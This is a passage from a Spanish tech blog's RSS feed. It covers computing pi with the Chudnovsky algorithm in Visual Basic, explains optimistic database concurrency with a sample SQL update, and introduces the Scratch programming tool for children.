    <span style="color: #000080;">Dim</span> k <span style="color: #000080;">As</span> <span style="color: #000080;">Long</span><br />
    <span style="color: #000080;">Dim</span> numeroPI <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span><br />
    <span style="color: #000080;">Dim</span> Numerador <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span>, Denominador <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span><br />
    <span style="color: #000080;">Dim</span> Precision <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span>, Limite <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span><br />
<br />
    k = 0: numeroPI = 0<br />
    Precision = 14<br />
    Limite = (Precision + 3) / 14<br />
<br />
    <span style="color: #000080;">Do</span> <span style="color: #000080;">While</span> k &lt; Limite<br />
        Numerador = 0<br />
        Denominador = 0<br />
<br />
        Numerador = ((-1) ^ k) * Factorial(6 * k) * (13591409 + (545140134 * k))<br />
        Denominador = Factorial(3 * k) * (Factorial(k) ^ 3) * (640320 ^ ((3 * k) + (3 / 2)))<br />
<br />
        numeroPI = numeroPI + (Numerador / Denominador)<br />
<br />
        k = k + 1<br />
    <span style="color: #000080;">Loop</span><br />
<br />
    numeroPI = 12 * numeroPI<br />
    numeroPI = 1 / numeroPI<br />
<br />
    Debug.<span style="color: #000080;">Print</span> FormatNumber(numeroPI, 14)<br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span><br />
<br />
<span style="color: #000080;">Private</span> <span style="color: #000080;">Function</span> Factorial(numFactorial <span style="color: #000080;">As</span> <span style="color: #000080;">Long</span>) <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span><br />
    <span style="color: #000080;">Dim</span> i <span style="color: #000080;">As</span> <span style="color: #000080;">Long</span>, TempFactorial <span style="color: #000080;">As</span> <span style="color: #000080;">Double</span><br />
    TempFactorial = 1<br />
<br />
    <span style="color: #000080;">For</span> i = 1 <span style="color: #000080;">To</span> numFactorial<br />
        TempFactorial = TempFactorial * i<br />
    <span style="color: #000080;">Next</span> i<br />
<br />
    Factorial = TempFactorial<br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Function</span></div></div></div>
<p>Que nadie intente calcular más de catorce decimales porque precisamente ese es <strong>el límite de las variables de doble precisión en Visual Basic</strong>. Eso sí, se puede extraer un número inferior alterando el valor de la variable <code>Precision</code>.</p>
<p>Los hermanos Chudnovsky, actualmente, residen en Estados Unidos y, además de por su habilidad en la construcción de supercomputadores caseros, <strong>son conocidos por la estrecha relación laboral que ambos mantienen</strong>, llegando a definirse ellos mismos como &#8220;un único matemático ocupando dos cuerpos&#8221;. Esta colaboración también está marcada, en cierta medida, por <a href="http://es.wikipedia.org/wiki/Miastenia_gravis">la enfermedad de tipo muscular</a> que sufre Gregory, que lo hace en ocasiones dependiente de su hermano David. <strong>De este último se ha llegado a decir que es el mejor matemático vivo de la historia</strong>.</p>
<p>Los cerebritos calculines continuarán su gesta de intentar llegar al final del número π, hasta el último decimal <strong>que lo convierta en un número irracional transcendente de valor concreto</strong>. O quizás tengan razón <strong>aquellos que aseguran que los decimales de π no se acabarán nunca</strong>, y que dicen que es un número tan complejamente apasionante que, por ejemplo, <strong>todos los números de teléfono del mundo </strong><a href="http://www.microsiervos.com/archivo/ciencia/numeros-en-pi.html"><strong>se pueden encontrar</strong></a><strong> escondidos en la secuencia decimal de π</strong>, porque sus dígitos parecen estar repartidos aleatoriamente y no construidos de una forma particular (encontrándose entre sus infinitos guarismos cualquier secuencia posible). O es probable que todos ellos tengan razón y ninguno de ellos la tenga, <strong>aunque seguramente la longitud de π acabará siendo bastante mayor que el título de este post</strong> (aunque parezca mentira).</p>
<p>Lo que está claro es que π es, para muchos, <strong>un número mágico donde buscar </strong><a href="http://tiopetrus.blogia.com/2003/092201-mensajes-ocultos-en-pi.php"><strong>mensajes ocultos</strong></a>, y para todo el mundo <strong>un valor importantísimo</strong> que permite construir carreteras y barcos, entre otras muchas cosas. <strong>Su número de decimales importa poco a niveles prácticos</strong> hoy en día, porque sería una locura realizar cálculos con tal nivel de exactitud, además de una estupidez supina. Pero, por lo menos, vamos observando nuestra amplia evolución desde hace un par de miles de años, <strong>cuando se deducía de la mismísima Biblia que el valor de π era simplemente igual a 3</strong>; en <em>Primera de Reyes, 7-23</em>, dice literalmente:</p>
<blockquote><p>Hizo fundir asimismo un mar de diez codos de un lado al otro, perfectamente redondo; su altura era de cinco codos, y lo ceñía alrededor un cordón de treinta codos.</p></blockquote>
<p>Por último, y ya que estamos en ello, recomendar desde aquí la película &#8220;<a href="http://www.filmaffinity.com/es/film679822.html">Pi, fe en el caos</a>&#8220;, una obra de arte geek y profundamente paranoica y demente, pero que todo buen friqui tecnológico debe visionar. Especial atención a sus múltiples fallos, comenzando desde el principio por <a href="http://www.microsiervos.com/archivo/ciencia/pi-en-pi.html">el más garrafal de todos</a>.</p>
<hr />
<strong>EDITANDO ANDO (17/09/2010)</strong>: <a href="http://www.microsiervos.com/archivo/tecnologia/nuevo-record-pi-2000-billones-decimales.html">Se acaba de superar del récord</a> de decimales de π calculados mencionado en esta entrada. Además ha sido a lo bestia, porque de 5 billones hemos pasado a 2.000 billones; casi na. El mérito es para un currela de Yahoo que se ha aprovechado de la infraestructura tecnológica de su empresa para tal menester. Así cualquiera.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F09%2F02%2Futilizando-el-algoritmo-chudnovsky-y-visual-basic-para-calcular-los-catorce-primeros-digitos-decimales-de-pi-sin-despeinarse-y-otros-chismes-y-curiosidades-varias%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/09/02/utilizando-el-algoritmo-chudnovsky-y-visual-basic-para-calcular-los-catorce-primeros-digitos-decimales-de-pi-sin-despeinarse-y-otros-chismes-y-curiosidades-varias/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Utilizando el algoritmo Chudnovsky y Visual Basic para calcular los catorce primeros dígitos decimales de Pi sin despeinarse (y otros chismes y cotilleos varios)" data-url="http://www.teknoplof.com/2010/09/02/utilizando-el-algoritmo-chudnovsky-y-visual-basic-para-calcular-los-catorce-primeros-digitos-decimales-de-pi-sin-despeinarse-y-otros-chismes-y-curiosidades-varias/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/09/02/utilizando-el-algoritmo-chudnovsky-y-visual-basic-para-calcular-los-catorce-primeros-digitos-decimales-de-pi-sin-despeinarse-y-otros-chismes-y-curiosidades-varias/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Concurrencia optimista en bases de datos</title>
		<link>http://www.teknoplof.com/2010/08/06/concurrencia-optimista-en-bases-de-datos/</link>
		<comments>http://www.teknoplof.com/2010/08/06/concurrencia-optimista-en-bases-de-datos/#comments</comments>
		<pubDate>Fri, 06 Aug 2010 11:30:28 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[base]]></category>
		<category><![CDATA[columna]]></category>
		<category><![CDATA[concurrencia]]></category>
		<category><![CDATA[datos]]></category>
		<category><![CDATA[fila]]></category>
		<category><![CDATA[optimista]]></category>
		<category><![CDATA[pesimista]]></category>
		<category><![CDATA[registro]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=2686</guid>
		<description><![CDATA[En un entorno multiusuario en el que varios puestos de red atacan un mismo banco de datos se da siempre un problema que un buen programador ha de solventar de la manera más elegante. El problema consiste en lo que se ha dado en llamar concurrencia de datos, es decir, si un usuario lee un [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_2687" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-2687" title="Red de datos" src="http://www.teknoplof.com/wp-content/uploads/2010/08/concu_0.jpg" alt="Red de datos" width="180" height="135" /><p class="wp-caption-text">Red de datos</p></div>En un entorno multiusuario en el que varios puestos de red atacan un mismo banco de datos se da siempre un problema que un buen programador ha de solventar de la manera más elegante. <strong>El problema consiste en lo que se ha dado en llamar concurrencia de datos</strong>, es decir, si un usuario lee un registro de una tabla con el objeto de modificarlo, en ese preciso momento <strong>es probable que otro usuario recabe el mismo registro para modificarlo también</strong>. En el caso de que el segundo acceso modifique los datos antes que el primero, <strong>se produce lo que se conoce como una infracción</strong>, ya que los datos no serían coherentes para uno (si no se produce la segunda edición) ni para otro (si se sobrescriben los nuevos datos editados).        </p>
<p>Para solventar esta traba a la hora de actualizar una base de datos se pueden esgrimir dos recursos o modelos: <strong>la concurrencia pesimista y la concurrencia optimista</strong>. Los objetos que manipulan datos en los distintos lenguajes de programación están preparados para manejar ambas técnicas, por lo que no nos va a resultar nada complicado aplicar una u otra. <strong>Nosotros apostamos desde siempre por la concurrencia optimista</strong>, sobre todo en determinados entornos, pero explicaremos brevemente en que consisten los dos procedimientos.        </p>
<p><strong>La concurrencia pesimista implica bloquear filas</strong>, o registros, en el origen de datos para impedir que otros usuarios modifiquen la información, de tal forma que el usuario actual resulte afectado. En un modelo pesimista, cuando un usuario realiza una acción que hace que se aplique un bloqueo, <strong>otros usuarios no pueden realizar acciones que entrarían en conflicto con ese bloqueo</strong> hasta que el propietario del mismo lo libere. Este modelo se utiliza principalmente en aquellos entornos en los que hay mucha contención de datos, de manera que el costo de protegerlos mediante bloqueos es menor que el costo de deshacer transacciones si se producen conflictos de concurrencia.        </p>
<p>La concurrencia pesimista puede resultar útil en ambientes donde los tiempos de bloqueo son cortos, por ejemplo la actualización automática de registros, según determinadas reglas, mediante software. Sin embargo, <strong>es una técnica que consume recursos del servidor, necesita de una conexión persistente con el gestor de datos y no resulta nada escalable</strong> cuando los usuarios, interactuando con los datos, hacen que los registros queden bloqueados durante períodos de tiempo relativamente largos (mientras se modifican las líneas de una factura, por ejemplo).        </p>
<p>Por el contrario, <strong>utilizando el sistema de concurrencia optimista no se bloquean filas cuando se lee</strong>, sino que <strong>se realizan copias locales desconectadas de los datos</strong> y, una vez se hayan editado, se vuelca la nueva información sobre la base de datos original. En este caso se produce el problema al que aludíamos al principio, ya que en el tiempo que nosotros hemos estado modificando los datos, otro usuario ha podido acceder al registro y haber realizado sus propias modificaciones. Es, entonces, la aplicación informática <strong>la que debe determinar si la información se han modificado o no desde que se leyó</strong>. Esta técnica, aunque parezca más farragosa de implementar, mejora el rendimiento del sistema y la velocidad de acceso de todos usuarios, ya que el origen de datos no se encuentra nunca bloqueado y puede servir información continuamente y bajo demanda.        </p>
<p>En el momento en que un equipo intente modificar determinados registros y detecte que han sido ya modificados con respecto a la información original que tenía desde que se leyó, en el modelo de concurrencia optimista <strong>se considera que hay una infracción</strong>. La pericia del programador consistirá en detectar dichas infracciones y saber actuar a tal efecto, dependiendo del proceso que se esté realizando y de las circunstancias puntuales. Esto es, <strong>una infracción puede resolverse sobrescribiendo los nuevos datos o manteniendo las modificaciones sin realizar</strong>. En función de las características del proyecto y de las necesidades del cliente habrá que hacer una u otra cosa.        </p>
<p>Vamos a ver un ejemplo práctico haciendo uso de una pequeña tabla de tres campos y un único registro. La tabla original podría ser como la siguiente:  </p>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td valign="top"><strong>IdCliente </strong></td>
<td valign="top"><strong>Apellido </strong></td>
<td valign="top"><strong>Nombre</strong></td>
</tr>
<tr>
<td valign="top">101 </td>
<td valign="top">Martínez </td>
<td valign="top">Cris </td>
</tr>
</tbody>
</table>
<p>Imaginemos que un <code>Usuario_1</code> lee la fila anterior de la base de datos a las 12:00 AM. Veamos una representación gráfica de los tres valores que nos ocupan: <strong>el valor original</strong> (valor cuando se leyó el registro), <strong>el valor actual</strong> (el que modifica <code>Usuario_1</code> en local) y <strong>el valor en la base de datos</strong> (el valor que se encuentra registrado en la tabla). </p>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td valign="top"><strong>Nombre de columna</strong></td>
<td valign="top"><strong>Valor original</strong></td>
<td valign="top"><strong>Valor actual</strong></td>
<td valign="top"><strong>Valor en la base de datos</strong>  </td>
</tr>
<tr>
<td valign="top">IdCliente  </td>
<td valign="top">101  </td>
<td valign="top">101  </td>
<td valign="top">101  </td>
</tr>
<tr>
<td valign="top">Apellido  </td>
<td valign="top">Martínez  </td>
<td valign="top">Martínez  </td>
<td valign="top">Martínez  </td>
</tr>
<tr>
<td valign="top">Nombre  </td>
<td valign="top">Cris  </td>
<td valign="top">Cris  </td>
<td valign="top">Cris  </td>
</tr>
</tbody>
</table>
<p>En este caso los tres valores coinciden, porque <code>Usuario_1</code> todavía no ha hecho ninguna modificación, simplemente ha extraído la información.        </p>
<p>A las 12:01 AM, un nuevo <code>Usuario_2</code> recurre al servidor para leer la misma fila, y a las 12:03 AM edita el campo <code>Nombre</code> (cambia &#8220;Cris&#8221; por &#8220;Cristina&#8221;) y actualiza la base de datos. Nuestra representación visual del baile de cadenas de texto sería ahora la que sigue:  </p>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td valign="top"><strong><strong>Nombre de columna</strong></strong></td>
<td valign="top"><strong>Valor original</strong></td>
<td valign="top"><strong>Valor actual</strong></td>
<td valign="top"><strong>Valor en la base de datos</strong></td>
</tr>
<tr>
<td valign="top">IdCliente</td>
<td valign="top">101</td>
<td valign="top">101</td>
<td valign="top">101</td>
</tr>
<tr>
<td valign="top">Apellido</td>
<td valign="top">Martínez</td>
<td valign="top">Martínez</td>
<td valign="top">Martínez</td>
</tr>
<tr>
<td valign="top">Nombre</td>
<td valign="top">Cris</td>
<td valign="top">Cristina</td>
<td valign="top">Cris</td>
</tr>
</tbody>
</table>
<p><strong>La actualización se realiza correctamente</strong> porque los valores contenidos en la base da datos en el momento de renovar la fila coinciden con los valores originales de tenía <code>Usuario_2</code> (&#8220;Cris&#8221;, en la base de datos, es igual que el dato &#8220;Cris&#8221; del momento de la lectura); <strong>no existe ninguna infracción</strong> para <code>Usuario_2</code>.        </p>
<p>Vamos a imaginar ahora que <code>Usuario_1</code> termina de realizar sus modificaciones a las 12:05 AM (cambia &#8220;Cris&#8221;, su lectura, por &#8220;María Cristina&#8221;). Veamos la representación:</p>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td valign="top"><strong>Nombre de columna</strong></td>
<td valign="top"><strong>Valor original</strong></td>
<td valign="top"><strong>Valor actual</strong></td>
<td valign="top"><strong>Valor en la base de datos</strong></td>
</tr>
<tr>
<td valign="top">IdCliente</td>
<td valign="top">101</td>
<td valign="top">101</td>
<td valign="top">101</td>
</tr>
<tr>
<td valign="top">Apellido</td>
<td valign="top">Martínez</td>
<td valign="top">Martínez</td>
<td valign="top">Martínez</td>
</tr>
<tr>
<td valign="top">Nombre</td>
<td valign="top">Cris</td>
<td valign="top">María Cristina</td>
<td valign="top">Cristina</td>
</tr>
</tbody>
</table>
<p><strong>Al intentar actualizar se va a encontrar con una infracción de la concurrencia optimista</strong>, ya que el valor actual de la base de datos (&#8220;Cristina&#8221;) no coincide con el valor que él esperaba para ese campo (&#8220;Cris&#8221;) porque <code>Usuario_2</code> lo había modificado previamente. Es ahora el momento en el que hay que tomar la decisión de sobrescribir los cambios realizados o, por el contrario, cancelar la actualización. Como antes decíamos, <strong>la elección de una u otra acción dependerá de la situación en concreto y de las querencias del cliente</strong>.        </p>
<p>Existen varias técnicas para determinar una infracción de concurrencia optimista a la hora de actualizar una base de datos. <strong>Una de ellas consiste en incluir una columna de marca de tiempo en la tabla</strong>. Las bases de datos suelen ofrecer funcionalidad de marca de tiempo que puede utilizarse para identificar la fecha y la hora en que se actualizó el registro por última vez. Mediante esta técnica, decimos, se incluye una columna de marca de tiempo en la definición de la tabla y, siempre que se actualiza el registro, se actualiza la marca de tiempo, <strong>de manera que queden reflejadas la fecha y la hora actuales</strong>. Al hacer una prueba para ver si hay infracciones de la concurrencia optimista, la columna de marca de tiempo se devuelve con cualquier consulta del contenido de la tabla. Cuando se intenta realizar una actualización, <strong>se compara el valor de marca de tiempo de la base de datos con el valor de marca de tiempo original contenido en la fila modificada</strong>. Si coinciden, se realiza la actualización y se edita la columna de marca de tiempo con la hora actual, con el objeto de reflejar la actualización. Si no coinciden, se ha producido una infracción de la concurrencia optimista.        </p>
<p>Otra técnica para probar si hay alguna infracción relacionada con la concurrencia optimista <strong>consiste en comprobar que todos los valores de columna originales de una fila siguen coincidiendo con los existentes en la base de datos</strong>.        </p>
<p>Veamos la siguiente consulta SQL contra una base de datos:        </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax15"></a><a style="wp-synhighlighter-title" href="#codesyntax15"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;">       
<span style="color: #993333; font-weight: bold;">SELECT</span> Col1<span style="color: #66cc66;">,</span> Col2<span style="color: #66cc66;">,</span> Col3 <span style="color: #993333; font-weight: bold;">FROM</span> Tabla1  
<span style="color: #993333; font-weight: bold;">UPDATE</span> Table1 <span style="color: #993333; font-weight: bold;">Set</span> Col1 <span style="color: #66cc66;">=</span> @NuevoValorCol1<span style="color: #66cc66;">,</span>
              <span style="color: #993333; font-weight: bold;">Set</span> Col2 <span style="color: #66cc66;">=</span> @NuevoValorCol2<span style="color: #66cc66;">,</span>
              <span style="color: #993333; font-weight: bold;">Set</span> Col3 <span style="color: #66cc66;">=</span> @NuevoValorCol3
<span style="color: #993333; font-weight: bold;">WHERE</span> Col1 <span style="color: #66cc66;">=</span> @ViejoValorCol1 <span style="color: #993333; font-weight: bold;">AND</span>
      Col2 <span style="color: #66cc66;">=</span> @ViejoValorCol2 <span style="color: #993333; font-weight: bold;">AND</span>
      Col3 <span style="color: #66cc66;">=</span> @ViejoValorCol3   </pre></div></div>        </p>
<p>Lo que se hace es seleccionar (<code>SELECT</code>) los campos, o columnas, que se van a modificar para, después, actualizar (<code>UPDATE</code>), con los nuevos valores (<code>@NuevoValorCol<em>X</em></code>), todos aquellos donde (<code>WHERE</code>) los valores originales (<code>@ViejoValorCol<em>X</em></code>) coincidan con los valores actuales en base de datos (<code>Col<em>X</em></code>).        </p>
<p>La teoría es sencilla, pero <strong>la implementación puede llegar a complicarse bastante</strong>, no por la técnica en sí, sino por la obligación de tomar una decisión en cada uno de los momentos. Será ya la intuición del desarrollador la que indique qué solución tomar en cada caso de infracción. Lo que sí debe quedar claro es que, excepto en determinadas y muy puntuales ocasiones, <strong>la concurrencia optimista siempre debe preferirse por encima de la pesimista</strong>. Es mejor resolver mal una infracción (cosa que puede corregirse a posteriori) que mantener una red de datos a un 40% de su capacidad total de gestión por acciones de bloqueo tras bloqueo, lentitud, falta de escalabilidad y desidia del usuario que es incapaz de trabajar en esas condiciones.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F08%2F06%2Fconcurrencia-optimista-en-bases-de-datos%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/08/06/concurrencia-optimista-en-bases-de-datos/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Concurrencia optimista en bases de datos" data-url="http://www.teknoplof.com/2010/08/06/concurrencia-optimista-en-bases-de-datos/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/08/06/concurrencia-optimista-en-bases-de-datos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Iniciar a los niños en el mundo de la programación informática con Scratch</title>
		<link>http://www.teknoplof.com/2010/07/29/iniciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch/</link>
		<comments>http://www.teknoplof.com/2010/07/29/iniciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 16:01:18 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Herramientas]]></category>
		<category><![CDATA[adolescentes]]></category>
		<category><![CDATA[aprendizaje]]></category>
		<category><![CDATA[lego]]></category>
		<category><![CDATA[mit]]></category>
		<category><![CDATA[niños]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[scratch]]></category>
		<category><![CDATA[wedo]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=2574</guid>
		<description><![CDATA[Si eres un &#8220;developer, developer, developer!&#8221;, como diría Steve Ballmer, y tienes hijos pequeños, es muy probable que te agrade la posibilidad de que, en un futuro (o ya), tu retoño dirija sus pasos hacia el mundo del desarrollo informático. Puede parecer una misión compleja, teniendo en cuenta los entornos de desarrollo actuales tan avanzados, [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_2575" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-2575" title="Scratch" src="http://www.teknoplof.com/wp-content/uploads/2010/07/sc_0.jpg" alt="Scratch" width="180" height="180" /><p class="wp-caption-text">Scratch</p></div>Si eres un &#8220;<em>developer, developer, developer!&#8221;</em>, <a href="http://www.youtube.com/watch?v=8To-6VIJZRE">como diría Steve Ballmer</a>, y tienes hijos pequeños, es muy probable que te agrade la posibilidad de que, en un futuro (o ya), <strong>tu retoño dirija sus pasos hacia el mundo del desarrollo informático</strong>. Puede parecer una misión compleja, teniendo en cuenta los entornos de desarrollo actuales tan avanzados, pero siempre hay alguien dispuesto a echarnos una manita de manera altruista y muy profesional.  </p>
<p><a href="http://scratch.mit.edu/"><strong>Scratch</strong></a><strong> es una herramienta gratuita para que los más pequeños de la casa se inicien en el cruel mundo del desarrollo de software</strong> (sí, cruel he dicho). Si me apuras, los mayores que no tengan ni repajolera idea de escribir un programa informático podrían hacer uso también de ella para sus primeros pinitos, aunque en principio el software está diseñado para los niños entre 6 y 16 años. De todas las herramientas que conozco para iniciar a los pequeños en la programación, <strong>esta es la que más me ha gustado con diferencia</strong> por su facilidad de uso, su interfaz intuitiva y, sobre todo, porque su curva de aprendizaje tiene muy poco de curva y mucho de aprendizaje. (Por cierto, aunque parezca mentira, esto no es un <a href="http://www.teknoplof.com/category/resenas-web/">post patrocinado</a> ni nada por el estilo).  </p>
<p><strong>Scratch se basa en </strong><a href="http://es.wikipedia.org/wiki/Script_(inform%C3%A1tica)"><em><strong>scripts</strong></em></a><strong> o guiones de acciones por lotes que se asocian a objetos (</strong><a href="http://es.wikipedia.org/wiki/Sprite_(videojuegos)"><em><strong>sprites</strong></em></a><strong>) o escenas en pantalla</strong>. Los <em>sprites</em> son pequeños elementos visuales que representan una imagen o icono, no en vano Scratch está eminentemente preparado para que los niños aprendan creando una historia interactiva, un juego o una animación, es decir, que aprendan jugando. Cada objeto es susceptible de tener diversos disfraces o personalizaciones, así como sonidos asociados, lo que <strong>permite variar el objeto en función de determinadas circunstancias</strong>. Esto nos recuerda a la propiedad de los personajes de cualquier juego de cambiar su apariencia dependiendo de la dirección en la que caminen, si saltan, corren o pierden una vida.  </p>
<p><div id="attachment_2576" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2576" title="Pantalla prnicipal de Scratch" src="http://www.teknoplof.com/wp-content/uploads/2010/07/sc_2.jpg" alt="Pantalla principal de Scratch" width="500" height="375" /><p class="wp-caption-text">Pantalla principal de Scratch</p></div>
<p>La característica más importante de Scratch es la <strong>falta de necesidad de introducir una sola línea de código para generar un programa</strong>. La aplicación funciona por medio de los denominados bloques, agrupados en paletas según sus características. <strong>Un bloque es una pieza o elemento que encierra una acción</strong> que puede ser de apariencia, de sonido, de movimiento, de decisión, de control, etcétera. Los bloques se arrastran de la <code>Paleta de bloques</code> al <code>Panel de script</code>, <strong>creando pilas o conjuntos de bloques que constituyen en sí mismos pequeños programas</strong> o subrutinas del programa general al que pertenecen.  </p>
<p>Por ejemplo, en la siguiente imagen se muestra un <em>script</em> que hará moverse el objeto formando un cuadrado en cinco ocasiones consecutivas. Entre cada acción se ha insertado un retardo de un segundo para apreciar bien los movimientos; además, el disparador del comienzo de la acción es la pulsación de la barra espaciadora.  </p>
<div id="attachment_2577" class="wp-caption aligncenter" style="width: 219px"><img class="size-full wp-image-2577" title="Script en Scratch" src="http://www.teknoplof.com/wp-content/uploads/2010/07/sc_1.jpg" alt="Script en Scratch" width="209" height="418" /><p class="wp-caption-text">Script en Scratch</p></div>
<p>Como se puede apreciar, <strong>Scratch es sumamente sencillo de manejar</strong>. Simplemente habrá que ir arrastrando bloques de acciones para crear programas que afectarán a un objeto o a una escena completa. Cada objeto y cada escena tienen sus propios grupos de bloques que funcionan de manera independiente, <strong>ejecutando cada tarea en el momento preciso</strong>.  </p>
<p>Scratch dispone de <strong>bloques de acciones totalmente engarzados con la estructura de la programación &#8220;adulta&#8221;</strong> actual orientada a objetos, y ese es su mejor medio de presentación para el aprendizaje. Disponemos de estructuras de control, repeticiones y bucles, sentencias condicionales, empleo de variables globales y locales, manejo de cadenas de texto, listas o matrices unidimensionales de objetos, operadores aritméticos y booleanos, comparaciones, control de eventos, etcétera. <strong>Es más que posible desarrollar cualquier programa sencillo con Scratch</strong>, además de las animaciones y juegos a los que está orientado. Para estos últimos también <strong>gozamos de características implementadas de fábrica</strong> como el movimiento de personajes, el rebote de objetos o el control de colisiones.  </p>
<p>Además de todo ello, Scratch tiene una característica bastante interesante, que es la de <strong>subir al sitio web de la aplicación nuestras últimas creaciones para compartirlas con toda la comunidad</strong> (bajo licencia <a href="http://es.creativecommons.org/">Creative Commons</a>); y todo ello de una manera automática. Estas aplicaciones en línea se reproducen sobre un <em>applet</em> de Java, sin embargo, para ejecutar los programas en local deberemos tener instalada la herramienta en sí, ya que <strong>Scratch no dispone de un compilador al uso</strong> que nos permita generar un archivo ejecutable compatible con nuestro sistema operativo.  </p>
<p>Y para los más friquis también tenemos importantes noticias, ya que <strong>Scratch es capaz de conectar con los productos </strong><a href="http://www.ro-botica.com/wedo_sys.asp"><strong>LEGO WeDo</strong></a> y dispone de bloques de acciones específicamente diseñados para interactuar con los motores de tus diseños de robótica. Simplemente habremos de conectar nuestro robot LEGO con el ordenador vía USB y generar el programa correspondiente desde Scratch <strong>con la misma facilidad que hemos comentado anteriormente</strong>.</p>
<p>En el siguiente vídeo (en inglés) se puede ver el desarrollo de una aplicación en Scratch que maneja un robot de LEGO WeDo con forma y movimientos de portero de fútbol.</p>
<p><p><a href="http://www.teknoplof.com/2010/07/29/iniciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch/"><em>Pinche aquí para ver el vídeo</em></a></p> </p>
<p>¿Te he convencido ya? ¿Todavía no? Esto de Scratch parece salido de la mente de un padre rarito que quería que su hijo aprendiera a programar y le diseño una herramienta, ¿verdad? <strong>Pues espera a <span style="text-decoration: line-through;">oír</span> leer lo que sigue</strong>.  </p>
<p>Scratch es una herramienta multilingüística, <strong>gratuita y de </strong><a href="http://es.wikipedia.org/wiki/Software_libre"><strong>software libre</strong></a> creada por el grupo <a href="http://llk.media.mit.edu/">Lifelong Kindergarten Group</a> del <a href="http://www.media.mit.edu/">MIT Media Lab</a>, el departamento de tecnología y multimedia del <strong>Instituto Tecnológico de Massachusetts (</strong><a href="http://web.mit.edu/"><strong>MIT</strong></a><strong>)</strong>, en Estados Unidos. Está disponible para sistemas Windows, Linux y Mac OS X (qué pena de Solaris, pero nadie es perfecto), y es un proyecto dirigido por <a href="http://web.media.mit.edu/~mres/">Mitchel Resnick</a> y <strong>financiado por la National Science Foundation</strong> (Fundación Nacional de Ciencia) <strong>estadounidense, Microsoft, Intel, Nokia, Iomega</strong> y los consorcios de investigación del MIT Media Lab, además de otros organismos, universidades y empresas privadas.  </p>
<p>Es <strong>uno de los softwares educativos </strong><a href="http://www.aec.at/prix_history_en.php?year=2008"><strong>más reconocidos a nivel mundial</strong></a> y especialmente <a href="http://observatorio.cnice.mec.es/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=619">recomendado por el Observatorio Tecnológico</a> del Ministerio de Educación español. Se utiliza en todo el mundo en muchos entornos diferentes: escuelas, museos, centros de aprendizaje, hogares, ayuntamientos&#8230;  </p>
